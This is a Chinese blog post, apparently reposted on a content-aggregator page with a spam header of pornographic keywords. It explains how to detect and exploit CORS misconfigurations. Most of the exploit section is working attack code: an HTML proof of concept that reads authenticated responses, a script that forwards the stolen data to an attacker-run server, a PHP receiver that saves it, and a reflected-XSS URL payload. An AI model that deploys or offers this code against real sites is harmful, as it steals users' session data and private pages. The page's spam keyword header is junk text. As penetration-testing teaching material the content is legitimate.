日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

CORS漏洞利用检测和利用方式

發(fā)布時間:2023/11/27 生活经验 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CORS漏洞利用检测和利用方式 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

  CORS全稱Cross-Origin Resource Sharing, 跨域資源共享,是HTML5的一個新特性,已被所有瀏覽器支持,不同于古老的jsonp只能get請求。

檢測方式:

  1.curl訪問網站  

  curl https://www.huasec.com -H "Origin: https://test.com" -I

  檢查返回包的 Access-Control-Allow-Origin 字段是否為https://test.com

  2.burpsuite發(fā)送請求包,查看返回包

  

  tips:Access-Control-Allow-Origin的值,當其為null、意味著信任任何域。

漏洞利用:

  1.同于csrf跨站請求偽造,發(fā)送釣魚鏈接,讀取用戶敏感數據。

  poc:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" οnclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

  用戶點擊button彈出響應信息

document.getElementById("demo").innerHTML = alert(this.responseText);

 上面代碼只是彈出響應信息,你還可以獲取cookie,針對http-only js代碼無法讀取的情況:

  

<!DOCTYPE>
<html> <h1>cors exploit</h1> <script type="text/javascript"> function exploit() { var xhr1; var xhr2; if(window.XMLHttpRequest) { xhr1 = new XMLHttpRequest(); xhr2 = new XMLHttpRequest(); } else { xhr1 = new ActiveXObject("Microsoft.XMLHTTP"); xhr2= new ActiveXObject("Microsoft.XMLHTTP"); } xhr1.onreadystatechange=function() { if(xhr1.readyState == 4 && xhr1.status == 200)  { var datas=xhr1.responseText; xhr2.open("POST","http://192.168.1.2/test.php","true"); xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xhr2.send("z0="+escape(datas)); } } xhr1.open("GET","http:/192.168.1.1/index.php","true")  xhr1.withCredentials = true;  xhr1.send(); } exploit(); </script> </html>

搭建的攻擊服務器惡意代碼 tes.php:

<?php
$file = fopen("secrect.html", "w+");
$res = $_POST['z0'];
fwrite($file, $res);
fclose($res);
?>

  

  2.結合xss漏洞利用cors漏洞,針對http_only js代碼無法讀取

  poc:

function exploit() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    if (this.status == 200) {    alert(this.responseText);     document.getElementById("demo").innerHTML = this.responseText;    }  
};  
xhttp.open("GET", "http://192.168.1.1/index.php", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
exploit();

  利用:

  

http://192.168.1.1/index.php?<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

  同理結合上面代碼,發(fā)送到你的服務器

?

批量檢測:

https://github.com/chenjj/CORScanner

下載作者源碼,發(fā)現檢測方式同上,有興趣的小伙伴可以繼續(xù)分析,我先滾去睡覺了。。。

轉載于:https://www.cnblogs.com/junsec/p/11221943.html

總結

以上是生活随笔為你收集整理的CORS漏洞利用检测和利用方式的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。